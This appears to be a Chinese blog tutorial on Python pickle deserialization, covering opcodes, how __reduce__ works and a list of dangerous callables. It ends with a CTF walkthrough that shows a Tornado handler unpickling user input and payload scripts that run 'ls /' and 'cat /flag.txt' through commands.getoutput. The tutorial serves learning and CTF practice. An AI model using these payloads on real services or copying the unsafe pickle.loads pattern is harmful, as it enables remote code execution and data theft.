浅谈Python Pickle反序列化

pickle是python语言的一个标准模块，实现了基本的数据序列化和反序列化。pickle模块是以二进制的形式序列化后保存到文件中（保存文件的后缀为.pkl），不能直接打开进行预览。
函数         说明dumps对象序列化为bytes对象dump对象序列化到文件对象，存入文件loads从bytes对象反序列化load对象反序列化，从文件中读取数据

#test.pyimport pickle
class A:    def __init__(self):        print('This is A')

a = A()p_a = pickle.dumps(a)print p_apickle.loads(p_a)
##输出：This is A#(i__main__#A#p0#(dp1#b.

Python语言，是可以直接从源代码中运行程序。Python解释器会将源代码编译成字节码，然后将编译过后的字节码转发到Python虚拟机（PVM）中执行。所以说，PVM指令的作用就是告诉解释字节码的解释引擎我们要进行什么操作。我们在python2运行后，会看到一个以.pyc为扩展名的文件，正是该程序的字节码。
列出几个比较重要的操作码：
c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object，然后将 module.object 作为可调用对象压入到栈中( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中. : 结束整个 Pickle 反序列化过程

1.引擎的作用
从头开始读取流中的操作码和参数，并对其进行处理,zai在这个过程中改变 栈区 和 标签区，处理结束后到达栈顶，形成并返回反序列化的对象
2.栈区的作用
作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化，并最终在栈上生成发序列化的结果
3.标签区的作用
数据的一个索引或者标记

#(i__main__    引入__main__模块#A             引入A对象#p0            将栈顶数据（__main__.A）存储到标志区（memo）中#(dp1          在栈顶创建一个字典，将memo中的内容转换成键值对并存储到这个字典中，然后栈顶存储到memo中#b.            调用__setstate__或者__dict__.update()来更新字典内容，最后读取到"."，结束Pickle序列化过程。

__reduce__方法
在新式类中生效，不带参数，应返回字符串或是一个元组。
如果返回一个字符串，该字符串应该被解释为全局变量的名称，它应该是对象相对于其模块的本地名称。
当返回一个元组时，它必须包含两到五个成员。可选成员可以省略，也可以提供None作为其值。
每个成员的意义是按顺序规定的：
第一个成员，将被调用的对象，callable。
第二个成员，可调用对象的参数的元组。如果callable不接受任何参数，则必须给出一个空元组。
当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控，就会造成代码执行。

import pickleimport osclass A(object):    def __reduce__(self):        return (os.system,('ls',))a = A()test = pickle.dumps(a)print testpickle.loads(test)

eval, execfile, compile, open, file, map, input,os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,os.listdir, os.access,os.execl, os.execle, os.execlp, os.execlpe, os.execv,os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,pickle.load, pickle.loads,cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen

import requestsurl="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="
for i in range(0,501):
r=requests.get(url+str(i))if 'lv6.png' in r.text:        print (i)        break

import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllib

class AdminHandler(BaseHandler):    @tornado.web.authenticated    def get(self, *args, **kwargs):        if self.current_user == "admin":            return self.render('form.html', res='This is Black Technology!', member=0)        else:            return self.render('no_ass.html')
    @tornado.web.authenticated    def post(self, *args, **kwargs):        try:            become = self.get_argument('become')            p = pickle.loads(urllib.unquote(become))            #从字节对象中读取被封装的对象，并返回            return self.render('form.html', res=p, member=1)        except:            return self.render('form.html', res='This is Black Technology!', member=0)

#找flag.pyimport pickleimport urllibimport sysimport commands
class payload(object):    def __reduce__(self):       return (commands.getoutput, ('ls /',))
a = pickle.dumps(payload())a = urllib.quote(a)print a
#拿flag.py
import pickleimport urllib class payload(object):    def __reduce__(self):       return (commands.getoutput, ('cat /flag.txt',))
a = pickle.dumps(payload())
a = urllib.quote(a)print a